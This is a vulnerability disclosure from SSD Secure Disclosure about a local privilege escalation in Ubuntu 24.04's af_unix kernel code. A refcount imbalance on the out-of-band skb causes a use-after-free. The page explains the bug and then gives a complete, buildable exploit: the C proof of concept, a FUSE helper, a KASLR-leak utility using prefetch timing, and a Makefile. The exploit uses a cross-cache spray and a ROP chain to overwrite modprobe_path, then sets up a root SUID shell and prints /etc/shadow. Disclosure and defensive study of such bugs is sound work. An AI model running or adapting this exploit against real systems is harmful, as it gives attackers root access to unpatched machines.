LPE via refcount imbalance in the af_unix of Ubuntu’s Kernel

  • Ubuntu 24.04.2 with the kernel 6.8.0-60-generic
Vendor Response

The vendor has released an updated kernel on the 18th of September

Credit

The vulnerability was disclosed during our TyphoonPWN 2025 Linux category and won first place.

Vulnerability Details

The vulnerability is caused by a refcount imbalance issue in the af_unix subsystem of Ubuntu’s kernel.

The af_unix subsystem allows users to send fds across processes.

To address issues caused by circular references in the situation where the fd we send is the socket itself, this subsystem comes up with a garbage collection mechanism.

The specific algorithm used in the garbage collection is not relevant for this bug, so I’m not going to talk about it here, interested readers can refer to this projectzero blog (https://googleprojectzero.blogspot.com/2022/08/the-quantum-state-of-linux-kernel.html).

Recently, through a series of patches, Linux replaced its garbage collection algorith (https://github.com/gregkh/linux/commit/4090fa373f0e763c43610853d2774b5979915959).
On top of the new gc, a new change is introduced to af_unix (https://github.com/gregkh/linux/commit/f0f170d7b7ed9b824e8f2502dfba4ee1eb76dac4), which is to make u->oob_skb do no hold a skb reference.

u->oob_skb is a out of band skb that can be created by sendmsg with the MSG_OOB flag. It used to hold a reference to the skb but this refcounting led to a lot of bugs in the past.

Therefore this patch is to make sure u->oob_skb no longer holds a refcount, making it just a pointer.

Notice that this change involves changing two files: af_unix.c and garbage.c, the most relevant changes are as follows:
(1) make sure the queue_oob function in af_unix.c does not give u->oob_skb a refcount (delete skb_get(oob_skb);)
(2) make sure the unix_gc function in garbage.c does not decrease the refcount (delete skb_unref(u->oob_skb))

Ubuntu 24.04’s kernel, which is based on (on 6.8.12), uses the old GC algorithm. Thus, the change to unix_gc does not apply (the upstream patch is for the new GC algorithm).

But somehow Ubuntu still went with it and applied the change to queue_oob, which is to remove the skb_get(oob_skb); line.

The old GC algorithm also decrease oob_skb‘s reference in unix_gc, just use a different function call (kfree_skb).

As a result, Ubuntu’s incorrect change to af_unix caused a refcount inbalance, leading to UAF of a struct sk_buff object, which in a dedicated cache (“skbuff_head_cache”) and each object is of size 0x100.

The relevant code is listed as follows:

static int queue_oob(struct socket *sock, struct msghdr *msg, struct sock *other,
             struct scm_cookie *scm, bool fds_sent)
{
    ...
    skb = sock_alloc_send_skb(sock->sk, 1, msg->msg_flags & MSG_DONTWAIT, &err);
    ...
    skb_put(skb, 1);
    skb_get(skb); <--- this is what Ubuntu removes
    ...
    WRITE_ONCE(ousk->oob_skb, skb);
    ...
}

void unix_gc(void)
{
    ...
    list_for_each_entry(u, &gc_candidates, link) {
        ...
        if (u->oob_skb) {
            kfree_skb(u->oob_skb);
            u->oob_skb = NULL;
        }
    }
    ...
}

static void unix_release_sock(struct sock *sk, int embrion)
{
    ...
    while ((skb = skb_dequeue(&sk->sk_receive_queue)) != NULL) {
        ...
        kfree_skb(skb);
    }
    ...
}

As we can see in the code above, previously, the oob_skb has two references.

When we close the sockets, one refcount will be decreased by the unix_gc and the other gets decreased by unix_release_sock which is the handler of fput.

Now that Ubuntu removes the skb_get(skb); line in queue_oob, in theory, we can trigger UAF in either unix_gc or unix_release_sock.

But in practice, the object is always freed by unix_gc and the UAF use always happens in unix_release_sock.

Exploitation
Reliable UAF

Notice that both unix_gc and unix_release_sock can happen after we close the af_unix socket.

We need a way to separate the invocation of these two functions so that we can do our exploitation, which usually takes some time.

My approach is to force GC right after closing the af_unix socket by sending another af_unix packet.

static int unix_dgram_sendmsg(...)
{
    ...
    wait_for_unix_gc();
    ...
    err = skb_copy_datagram_from_iter(skb, 0, &msg->msg_iter, len);
    ...
}

#define UNIX_INFLIGHT_TRIGGER_GC 16000
void wait_for_unix_gc(void)
{
    if (READ_ONCE(unix_tot_inflight) > UNIX_INFLIGHT_TRIGGER_GC && !READ_ONCE(gc_in_progress))
        unix_gc();
    ...
}

As we can see above, if we have a huge unix_tot_inflight, we can trigger unix_gc when doing sendmsg.

unix_tot_inflight means the total number of af_unix sockets that are being sent by af_unix sockets, which can be easily done by users of any privilege level.

As a result, we can deterministically invoke unix_gc.

unix_release_sock is a callback function for fput, whose invocation cannot be controlled through syscalls.

But interestingly, it is marked as a TWA_RESUME work, which is a work to do right after finishing a syscall and right before returning back to userspace (see exit_to_user_mode_loop).

In our case, after unix_gc, the last reference to the socket will be gone, so unix_release_sock will be scheduled right after the triggering sendmsg syscall.
In other words, we need to perform all the heap-related stuff within the sendmsg syscall, which is almost impossible.

But luckily, there is a skb_copy_datagram_from_iter function after unix_gc and before the invocation of unix_release_sock. This function invokes copy_from_user internally, which gives us a chance to halt the execution of the syscall.

There are a few ways to achieve this. I chose the easiest approach, which is to use FUSE.

Specifically, we can mmap an address that is backed by a FUSE filesystem and pass this address to skb_copy_datagram_from_iter.

When the copy_from_user hits, it will realize that although this address is mapped, the content is not there yet.

So it will invoke our FUSE_read handler to retrieve the data.

We make FUSE_read sleep for a few seconds, delaying the execution.

As a result, we can deterministically trigger unix_gc to free the object, halt the syscall through FUSE, and then finally invoke unix_release_sock to use the freed object when the syscall finishes.

Cross-Cache Attack

Since our vulnerable object is in a dedicated cache (“skbuff_head_cache”), we will have to resolve to the cross-cache attack.
Essentially, we free all objects in the cache so that the page used by the slab is returned back to the page allocator.
Then we can reclaim the page with data we control.
Here, I chose to reclaim the page with pg_vec because it is the easiest to implement and we control the number of pages.
As a result, we are able to overwrite the vulnerable object with data we control.

Primitive Analysis

Now let’s see what we can do with the overwrite.
Essentially, the kernel will invoke kfree_skb(skb) (through unix_release_sock) where the content of `skb is in our control.
Digging into it, we can see this code

void skb_release_head_state(struct sk_buff *skb)
{
    ...
    if (skb->destructor) {
        DEBUG_NET_WARN_ON_ONCE(in_hardirq());
        skb->destructor(skb);
    }
    ...
}

So, we will have RIP control and rdi pointing to what we control.
But, we need KASLR leak.

We can easily bypas KASLR using prefetch attack these days.
Entrybleed is the most famous prefetch attack variant.
But since modern computers no longer has KPTI on anymore, we can directly prefetch the kernel space and probe where the kernel is.
With statistical analysis and a major vote algorithm, my exploit can bypass KALSR with 100% successs rate.

ROP

Finally, with KASLR bypassed and RIP/rdi control, we can easily ROP to overwrite modprobe_path and escalate to root.

Researching IoT / Embedded Devices? Have a similar vulnerability you are looking to share? Let’s get the conversation going!
SSD commits to the best payouts in the industry, easy and fast submission process and the option to stay completely anonymous.

Since 2007, SSD Secure Disclosure has been helping security researchers turn their findings into thriving careers.
Explore our constantly expanding product scope – updated monthly with new products and vendors.

Exploit
// poc.c
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <stdarg.h>
#include <pthread.h>
#include <assert.h>
#include <fcntl.h>
#include <signal.h>
#include <sched.h>
#include <arpa/inet.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <linux/sockios.h>
#include <sys/resource.h>

typedef unsigned long long u64;
typedef unsigned int u32;

extern u64 cpu_num;
void set_cpu(int cpuid);
int pg_vec_spray(void *src_buf, u32 buf_size, u32 num);
void setup_pg_vec();
pid_t clean_fork(void);
u64 entrybleed_get_kaslr_slide_nopti();

#define SPRAY_NUM_1 0x200
#define SPRAY_NUM_2 0x40
#define SPRAY_NUM_3 0x40
#define FORK_NUM 10
#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))
int spray_sock1[SPRAY_NUM_1/0x10];
int spray_sock2[SPRAY_NUM_2/0x10];
int spray_sock3[SPRAY_NUM_3/0x10];
char payload[0x2000];
u64 pg_vec_spray_size = 0x2000;
u64 kaslr_slide = 0;

char path[0x800];

int socks[2];
int socks2[2];
int pid = -1;
void *fuse_addr;

int *stage;
int *status_ptr;

void wait_for_all_status(int status);

void payload_setup()
{
	int fd = open("/tmp/exp/lol", O_RDWR);
	assert(fd >= 0);
	fuse_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
	assert((long long)fuse_addr >= 0);

	memset(payload, 'B', sizeof(payload));
	for(int i=0; i<pg_vec_spray_size/0x100; i++) {
		void *obj = (void *)(payload + i*0x100);
		*(int *)(obj + 0x9e + 4) = 1;
		*(int *)(obj + 0x9e - 4) = 1;
		*(u64*)(obj + 0x9e - 4 - 0x7c - 8) = 0;
		*(u64*)(obj + 0x9e - 4 - 0x7c) = kaslr_slide + 0xffffffff8196a4d5; // : mov rax, qword ptr [rbx + 0x18] ; mov rsi, rbx ; call rax

		// unlink
		*(u64*)(obj + 0xbe) = kaslr_slide + 0xffffffff8438c000;
		*(u64*)(obj + 0xbe +8) = kaslr_slide + 0xffffffff8438c000;

		// pivot
		void *ptr = obj + 0xbe;
		*(u64*)(ptr + 0x18) = kaslr_slide + 0xffffffff81b146da; // : push rdi ; jmp qword ptr [rsi + 0x39]
		*(u64*)(ptr + 0x39) = kaslr_slide + 0xffffffff8223e7da; // : pop rsp; pop rbx; pop rbp; ret;

		// ROP chain
		*(u64*)(ptr + 0x10) = kaslr_slide + 0xffffffff81852574; //: add rsp, 0x48; pop rbp; ret
		*(u64*)(ptr + 0x68) = kaslr_slide + 0xffffffff810f1ce0; //: pop rsi; pop rdi; pop rbx; ret
		*(u64*)(ptr + 0x70) = kaslr_slide + 0xffffffff837de280-0x10; // modprobe_path
		*(u64*)(ptr + 0x78) = 0x782f706d742f; // /tmp/x
		*(u64*)(ptr + 0x80) = 0;
		*(u64*)(ptr + 0x88) = kaslr_slide + 0xffffffff81cdf1d9; // : mov qword ptr [rsi + 0x10], rdi ; xor esi, esi ; xor edi, edi ; ret
		*(u64*)(ptr + 0x90) = kaslr_slide + 0xffffffff82252e95; //: pop rdi; ret;
		*(u64*)(ptr + 0x98) = 0x7fffffff;
		*(u64*)(ptr + 0xa0) = kaslr_slide + 0xffffffff81209f20; // msleep
	}
}

void trigger_gc()
{
	send(socks2[0], fuse_addr, 1, 0);
}

void skb_spray_1()
{
	char buf[0x40];
	memset(buf, 'A', sizeof(buf));
	int i = 0;
	int num = SPRAY_NUM_1;
	int socks[2];

	while(num) {
		int ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, socks);
		assert(ret == 0);

		int todo = 0x10;
		if (num < 0x10) todo = num;
		for(int i=0; i<todo; i++) {
			send(socks[0], buf, sizeof(buf), 0);
		}
		num -= todo;
		spray_sock1[i++] = socks[1];
	}
}

void skb_spray_2()
{
	char buf[0x40];
	memset(buf, 'A', sizeof(buf));
	int i = 0;
	int num = SPRAY_NUM_2;
	int socks[2];

	while(num) {
		int ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, socks);
		assert(ret == 0);

		int todo = 0x10;
		if (num < 0x10) todo = num;
		for(int i=0; i<todo; i++) {
			send(socks[0], buf, sizeof(buf), 0);
		}
		num -= todo;
		spray_sock2[i++] = socks[1];
	}
}

void skb_spray_3()
{
	char buf[0x40];
	memset(buf, 'A', sizeof(buf));
	int i = 0;
	int num = SPRAY_NUM_3;
	int socks[2];

	while(num) {
		int ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, socks);
		assert(ret == 0);

		int todo = 0x10;
		if (num < 0x10) todo = num;
		for(int i=0; i<todo; i++) {
			send(socks[0], buf, sizeof(buf), 0);
		}
		num -= todo;
		spray_sock3[i++] = socks[1];
	}
}

void skb_release_1()
{
	char buf[0x100];
	for(int i=0; i<SPRAY_NUM_1/0x10; i++) {
		recv(spray_sock1[i], buf, 0x100, 0);
	}
}

void skb_release_2()
{
	char buf[0x100];
	for(int i=0; i<SPRAY_NUM_2/0x10; i++) {
		for(int j=0; j<0x10; j++)
			recv(spray_sock2[i], buf, 0x100, 0);
	}
}

void skb_release_3()
{
	char buf[0x100];
	for(int i=0; i<SPRAY_NUM_3/0x10; i++) {
		for(int j=0; j<0x10; j++)
			recv(spray_sock3[i], buf, 0x100, 0);
	}
}

int val = 0;
int *ptr = &val;
void *gc_func(void *arg)
{
	set_cpu(1);

	close(socks[1]);
	close(socks[0]);

	*ptr = 1;
	trigger_gc();
	sleep(10000);
}

void exploit(void)
{
	mmap((void*)0x20000000, 0x1000, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);

	int ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socks);
	assert(ret == 0);

	ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, socks2);
	assert(ret == 0);

	char ubuf[] = "AA";
	struct iovec vec = {
		.iov_base = ubuf,
		.iov_len = 2,
	};

	struct msghdr msghdr = {
		.msg_name = NULL,
		.msg_namelen = 0,
		.msg_iov = &vec,
		.msg_iovlen = 1,
		.msg_control = (void*)0x20000340,
		.msg_controllen = 0x38,
		.msg_flags = 0,
	};

	*(uint64_t*)0x20000340 = 0x1c;
	*(uint32_t*)0x20000348 = SOL_SOCKET;
	*(uint32_t*)0x2000034c = SCM_CREDENTIALS;
	*(uint32_t*)0x20000350 = getpid();
	*(uint32_t*)0x20000354 = 0;
	*(uint32_t*)0x20000358 = 0;

	*(uint64_t*)0x20000360 = 0x14;
	*(uint32_t*)0x20000368 = SOL_SOCKET;
	*(uint32_t*)0x2000036c = SCM_RIGHTS;
	*(uint32_t*)0x20000370 = socks[0];

	skb_spray_1();

	// make sure the victim skb is in a controlled page
	skb_spray_2();
	sendmsg(socks[1], &msghdr, MSG_OOB);
	skb_spray_3();

	// force the target slab to be in cpu_partial
	skb_release_2();
	skb_release_3();

	// flush cpu_partial
	skb_release_1();
	sleep(1);

	// trigger the free in another thread and delay the trigger using FUSE
	pthread_t tid = 0;
	ret = pthread_create(&tid, NULL, gc_func, NULL);
	assert(ret == 0 );
	while(*ptr != 1);

	// now spray pages using multiple processes
	*stage = 1;
	pg_vec_spray(payload, pg_vec_spray_size, 0x200);
	wait_for_all_status(1);

	// now sleep forever and wait for the payload to get triggered
	puts("[*] wait for the payload to get triggered");
	while(1);sleep(1000000);
}

void increase_inflight(int num)
{
	int socks[2];
	int socks2[2];
	int ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, socks);
	assert(ret == 0);

	ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, socks2);
	assert(ret == 0);

	char ubuf[] = "A";
	struct iovec vec = {
		.iov_base = ubuf,
		.iov_len = 1,
	};

	int buf_size = CMSG_ALIGN(0x10+num*sizeof(int));
	void *buf = malloc(buf_size);
	memset(buf, 0, buf_size);

	struct msghdr msghdr = {
		.msg_name = NULL,
		.msg_namelen = 0,
		.msg_iov = &vec,
		.msg_iovlen = 1,
		.msg_control = buf,
		.msg_controllen = buf_size,
		.msg_flags = 0,
	};

	struct cmsghdr *cmsghdr = (struct cmsghdr *)buf;
	cmsghdr->cmsg_len = 0x10+num*sizeof(int);
	cmsghdr->cmsg_level = SOL_SOCKET;
	cmsghdr->cmsg_type = SCM_RIGHTS;
	int *fd_array = (int *)(buf + sizeof(struct cmsghdr));
	for(int i=0; i<num; i++) {
		fd_array[i] = socks2[0];
	}

	ret = sendmsg(socks[1], &msghdr, 0);
	assert(ret >= 0);
}

void prepare_force_gc()
{
	for(int i=0; i<16; i++) {
		if(!clean_fork()) {
			for(int j=0; j<5; j++) {
				increase_inflight(200);
			}
			sleep(100000);
		}
	}
	sleep(1);
}

void spray_func(int idx)
{
	while(*stage == 0);
	pg_vec_spray(payload, pg_vec_spray_size, 0x200);
	status_ptr[idx] = 1;

	sleep(10000);
	// while(1);
}

void setup_context(void)
{
	// depending on the number of CPU, our target slab will have different number of pages
	if (cpu_num > 4) {
		pg_vec_spray_size = 0x2000;
	} else {
		pg_vec_spray_size = 0x1000;
	}
	printf("[*] pg_vec_spray_size: %#llx\n", pg_vec_spray_size);

	stage = (int *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANON, -1, 0);
	assert((long)stage != -1);
	*stage = 0;
	status_ptr = stage + 1;

	for(int i=0; i<FORK_NUM; i++) {
		if(!clean_fork()){
			spray_func(i);
			exit(0);
		}
	}
}

void wait_for_all_status(int status)
{
	int done = 0;
	while(1) {
		for(int i=0; i<FORK_NUM; i++) {
			if(status_ptr[i] != status) continue;
			if(i == FORK_NUM-1) return;
		}
	}
}

void increase_limit()
{
    int ret;
    struct rlimit open_file_limit;

    /* Query current soft/hard value */
    ret = getrlimit(RLIMIT_NOFILE, &open_file_limit);
    assert(ret >= 0);

    /* Set soft limit to hard limit */
    open_file_limit.rlim_cur = open_file_limit.rlim_max;
    ret = setrlimit(RLIMIT_NOFILE, &open_file_limit);
    assert(ret >= 0);
}

void attempt()
{
	char *buf = getenv("SLIDE");
	kaslr_slide = (u64)atoll(buf);
	printf("[*] exploit attempt with kaslr_slide: %#llx\n", kaslr_slide);
	increase_limit();
	setup_pg_vec();
	payload_setup();
	setup_context();

	exploit();
}

int modprobe_overwritten() {
	int fd = open("/proc/sys/kernel/modprobe", 0);
	char buf[0x2000];
	memset(buf, 0, sizeof(buf));
	read(fd, buf, sizeof(buf));
	return !strncmp(buf, "/tmp/x", 6);
}

void check_root() {
	// if we are root
	if (open("/etc/shadow", 0) >= 0) {
		setuid(0);
		setgid(0);
		puts("============================");
		puts("|   Pwned by @ky1ebot !    |");
		puts("============================");
		system("id;");
		puts("============================");
		system("head -n 10 /etc/shadow");
		puts("============================");
		system("/bin/bash");
		exit(0);
	}
	// or if we can be root
	int tmp_fd = open("/proc/sys/kernel/modprobe", 0);
	char buf[0x2000];
	memset(buf, 0, sizeof(buf));
	read(tmp_fd, buf, sizeof(buf));
	if (!strncmp(buf, "/tmp/x", 6)) {
		sprintf(buf, "echo '#!/bin/bash\\nchown root:root %s; chmod 04755 %s' > /tmp/x; chmod +x /tmp/x", path, path);
		system(buf);
		system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
		char * argv[] = {
			path,
			NULL
		};
		char * env[] = {
			NULL
		};
		execve(path, argv, env);
	}
}

int main(int argc, char ** argv, char ** env)
{
	// save absolute path for later use
	if (argc && argv[0] && argv[0][0]) assert(realpath(argv[0], path) != NULL);

	// in case we already are/can be root
	check_root();

	// if this is an exploit process
	if (getenv("SLIDE")) {
		puts("[*] attempt!");
		attempt();
		exit(0);
	}

	// launch fuse
	system("mkdir -p /tmp/exp && ./fusefs /tmp/exp");

	// prepare
	increase_limit();
	prepare_force_gc();

	// launch exploit process
	char *cmd = NULL;
	int ret = asprintf(&cmd, "busybox sh -c 'unshare -rn %s'", path);
	assert(ret >= 0);
	puts(cmd);
	while(1) {
		// leak kaslr
		kaslr_slide = entrybleed_get_kaslr_slide_nopti();
		if (kaslr_slide == -1) {
			puts("[-] fail to leak kaslr_slide");
			continue;
		}
		printf("[+] kaslr_slide: %#llx\n", kaslr_slide);

		// pass it to the exploit process
		char *buf = NULL;
		ret = asprintf(&buf, "%lld", kaslr_slide);
		assert(ret >= 0);
		setenv("SLIDE", buf, 1);

		if(!clean_fork()) {
			system(cmd);
			sleep(10000);
		}

		// give each exploit 6 seconds to run
		int good = 0;
		for(int i=0; i<6; i++) {
			if (modprobe_overwritten()) {
				good = 1;
				break;
			}
			sleep(1);
		}

		// check whether we succeed or not
		if (good) {
			puts("[+] successfully overwrite modprobe_path");
			break;
		} else {
			puts("[-] failed to overwrite modprobe_path");
		}
	}

	check_root();
	while(1) sleep(100000);
	return 0;
}
// FUSE: Filesystem in USErspace
// fusefs.c - FUSE filesystem handler
// Made by @LukeGix

#define FUSE_USE_VERSION 26

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <sys/uio.h>
#include <assert.h>
#include <stdlib.h>

#define FILE_TARGET "/lol"

unsigned int file_size = 0x10;

char file_buffer[4096];
int len = 10;
static int FUSE_getattr(const char *path, struct stat *stbuf){
	int res = 0;
	memset(stbuf, 0, sizeof(struct stat));
	if (strcmp(path, "/") == 0) {
		stbuf->st_mode = S_IFDIR | 0755;
		stbuf->st_nlink = 2;
	} else if (strcmp(path, FILE_TARGET) == 0) {
		stbuf->st_mode = S_IFREG | 0666;
		stbuf->st_nlink = 1;
		stbuf->st_size = file_size;
		stbuf->st_blocks = 0;
	}
	else {
		res = -ENOENT;
	}
	return res;
}

// It defines the result of, for example, `ls`
static int FUSE_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
	filler(buf, ".", NULL, 0);
	filler(buf, "..", NULL, 0);
	filler(buf, "lol", NULL, 0);
	return 0;
}

static int FUSE_open(const char *path, struct fuse_file_info *fi) {
	return 0;
}

static int FUSE_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi){
	if(strcmp(path, FILE_TARGET) == 0){
		//for(;;){
		//	printf("[+] Pausing kernel thread...\n");
		//	sleep(200);
		//}
		printf("[+] Pausing kernel thread for 5s\n");
		sleep(2);
		memcpy(buf, file_buffer, size);
	}

	return size;
}


static int FUSE_write(const char *path, const char *buf_to_write, size_t size, off_t offset, struct fuse_file_info *fi ){
	if(strcmp(path, FILE_TARGET) == 0){
		assert(offset <= 4096 && (file_size + size) <= 4096);
		//Write in no-append mode
		if(offset == 0){
			memset(file_buffer, 0,4096);
			file_size = 0;
		}
		memcpy(file_buffer+offset, buf_to_write, size);
		file_size += size;
	}
	return size;
}

// Just random stubs
static int FUSE_setxattr(const char *a, const char *b, const char *c, size_t d, int e){
	return 0;
}

static int FUSE_truncate(const char *a, off_t b, struct fuse_file_info *fi){
		return 0;
}

static int FUSE_chmod(const char *, mode_t, struct fuse_file_info *fi){
		return 0;
}

static int FUSE_chown(const char *, uid_t, gid_t, struct fuse_file_info *fi){
		return 0;
}

static int FUSE_utimens(const char *, const struct timespec tv[2], struct fuse_file_info *fi){
		return 0;
}


static struct fuse_operations FUSE_ops = {
	.getattr	= FUSE_getattr,
	.readdir	= FUSE_readdir,
	.open	   = FUSE_open,
	.read	   = FUSE_read,
	.write 	= FUSE_write,
	.setxattr 	= FUSE_setxattr,
	.truncate 	= FUSE_truncate,
	.chmod 	= FUSE_chmod,
	.chown 	= FUSE_chown,
	.utimens 	= FUSE_utimens
};

int main(int argc, char *argv[]) {
	//Initialization of the filesystem
	memset(file_buffer, 'A', sizeof(file_buffer));
	return fuse_main(argc, argv, &FUSE_ops, NULL);
}
// util.c
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <signal.h>
#include <sched.h>
#include <time.h>
#include <math.h>
#include <string.h>
#include <sys/mman.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/sockios.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>

typedef unsigned int u32;
typedef unsigned long long u64;

u64 cpu_num;

void error_out(const char *fmt, ...)
{
    char *buf;
    va_list ap;

    va_start(ap, fmt);
    if(vasprintf(&buf, fmt, ap) < 0) {
        perror("[error_out]");
        exit(-1);
    }
    va_end(ap);
    
    puts(buf);
    perror("[Reason] ");
    exit(-1);
}

pid_t clean_fork(void)
{
    pid_t pid = fork();
    if(pid) return pid; 

    if(prctl(PR_SET_PDEATHSIG, SIGKILL) < 0) error_out("fail to register DEATHSIG");
    return pid; 
}

void set_cpu(int cpuid)
{
    cpu_set_t my_set;
    CPU_ZERO(&my_set);
    CPU_SET(cpuid, &my_set);
    if(sched_setaffinity(0, sizeof(my_set), &my_set) != 0)
        error_out("set cpu affinity at cpu: %d fails", cpuid);
}

int pg_vec_spray(void *src_buf, u32 buf_size, u32 num)
{
    if((buf_size & 0xfff) != 0) error_out("[pg_vec_spray] buf_size");

    // remember to run everything in sandbox
    int s = socket(AF_PACKET, SOCK_RAW|SOCK_CLOEXEC, htons(ETH_P_ALL));
    if(s < 0) error_out("[pg_vec_spray] socket");

    struct tpacket_req req;
    req.tp_block_size = buf_size;
    req.tp_block_nr = num;// spray times
    req.tp_frame_size = buf_size;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
    int ret = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if(ret < 0) error_out("[pg_vec_spray] setsockopt");

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ARP);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    memset(&sa, 0, sizeof(sa));
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_halen = ETH_ALEN;
    void *addr = mmap(NULL, buf_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON|MAP_POPULATE, -1, 0);
    memcpy(addr, src_buf, buf_size);
    for(int i=0; i<num; i++) {
        ret = sendto(s, addr, buf_size, 0, (struct sockaddr *)&sa, sizeof(sa));
        if(ret < 0) error_out("[pg_vec_spray] sendto");
    }
    return s;
}

void setup_pg_vec()
{
    // bring up lo interface
    int fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
    struct ifreq req;
    memset(&req, 0, sizeof(req));
    strcpy(req.ifr_name, "lo");
    req.ifr_flags = IFF_UP|IFF_LOOPBACK|IFF_RUNNING;
    int ret = ioctl(fd, SIOCSIFFLAGS, &req);
    if(ret != 0) error_out("[setup_pg_vec] ioctl");
    close(fd);
}

#define MIN_KERNEL_BASE 0xffffffff80000000ULL
#define MAX_KERNEL_BASE 0xffffffffc0000000ULL
#define KERNEL_ALIGN 0x200000ULL

u64 probe_entry_nokpti(u64 addr)
{
    uint64_t a, b, c, d;
    asm volatile (".intel_syntax noprefix;"
        "cpuid;"    // serialization

        "rdtscp;"
        "mov r12, rax;"
        "mov r13, rdx;" // record the start timestamp into temporary registers to avoid cache miss

        "prefetcht0 qword ptr [%4];"
        "prefetcht0 qword ptr [%4];"
        "prefetcht0 qword ptr [%4];"
        "mfence;"   // do the prefetch

        "rdtscp;"
        "mov %2, rax;"
        "mov %3, rdx;" // save the end timestamp

        "mov %0, r12;"
        "mov %1, r13;" // save the start timestamp

        "mfence;" // make sure everything is saved correctly
        ".att_syntax;"
        : "=r" (a), "=r" (b), "=r" (c), "=r" (d)
        : "r" (addr)
        : "rax", "rbx", "rcx", "rdx", "r12", "r13");
    a = (b << 32) | a;
    c = (d << 32) | c;
    return c - a;
}

u64 _entrybleed_get_kaslr_slide_nopti()
{
    int len = (MAX_KERNEL_BASE-MIN_KERNEL_BASE-0x1000000)/KERNEL_ALIGN;
    u64 *times = malloc(sizeof(u64)*len);
    for(int i=0; i<len; i++) {
        u64 probe_addr = MIN_KERNEL_BASE + i*KERNEL_ALIGN + 0x1000000;
        u64 elapsed, sum=0;
        int cnt = 0;
        while (cnt < 1000) {
            u64 tmp = probe_entry_nokpti(probe_addr);
            if (tmp > 1000) continue; // likely because of interrupts
            cnt += 1;
            sum += tmp;
        }
        elapsed = sum;
        //printf("addr: %#llx, probe: %#llx, elapsed: %#llx\n", 0, probe_addr, elapsed);
        times[i] = elapsed;
    }

    // calculate the mean
    u64 total = 0;
    for(int i=0; i<len; i++) {
        total += times[i];
    }
    double mean = total/len;

    // calculate the std
    double tmp = 0;
    for(int i=0; i<len; i++) {
        tmp += ((double)times[i]-mean)*((double)times[i]-mean);
    }
    tmp /= len;
    double std = sqrt(tmp);

    u64 bar = (u64)(mean-std);
    for(int i=0; i<len; i++) {
        if(times[i] < bar) {
            free(times);
            return i*KERNEL_ALIGN;
        }
    }
    return -1;
}

struct entry {
    u64 value;
    int cnt;
};

struct entry *get_entry(struct entry *entries, int entry_cnt, u64 value)
{
    for (int i=0; i<entry_cnt; i++) {
        if (entries[i].value == value) return &entries[i];
    }
    return NULL;
}

// do a major vote
#define VOTE_CNT 10
u64 entrybleed_get_kaslr_slide_nopti()
{
    u64 candidates[VOTE_CNT];
    struct entry entries[VOTE_CNT];
    int cnt = 0;
    int entry_cnt = 0;

    // obtain the results first
    while(cnt < VOTE_CNT) {
        u64 result = _entrybleed_get_kaslr_slide_nopti();
        if (result == -1) continue;
        candidates[cnt++] = result;
        printf("slide candidate: %#llx\n", result);
    }

    // do count
    for(int i=0; i<cnt; i++) {
        u64 value = candidates[i];
        struct entry *entry = get_entry(entries, entry_cnt, value);
        if (entry == NULL) {
            entries[entry_cnt].value = value;
            entries[entry_cnt].cnt = 1;
            entry_cnt++;
        } else {
            entry->cnt += 1;
        }
    }

    // find the most common slide
    u64 best_slide = -1;
    int best_cnt = 0;

    for(int i=0; i<entry_cnt; i++) {
        if (entries[i].cnt < best_cnt) continue;
        if (entries[i].cnt > best_cnt || entries[i].value < best_slide) {
            best_slide = entries[i].value;
            best_cnt = entries[i].cnt;
        }
    }
    return best_slide;
}

static void __attribute__((constructor)) init(void)
{
    // disable buffering
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    // very bad random seed lol
    srand(time(NULL));

    // initialize parameters
    cpu_num = sysconf(_SC_NPROCESSORS_ONLN);
}
# Makefile
all:
	gcc -D_FILE_OFFSET_BITS=64 fusefs.c `pkg-config fuse --cflags --libs` -o fusefs
	gcc -static -o poc poc.c utils.c -lm

clean:
	rm poc
	rm fusefs

?

Get in touch

Skip to content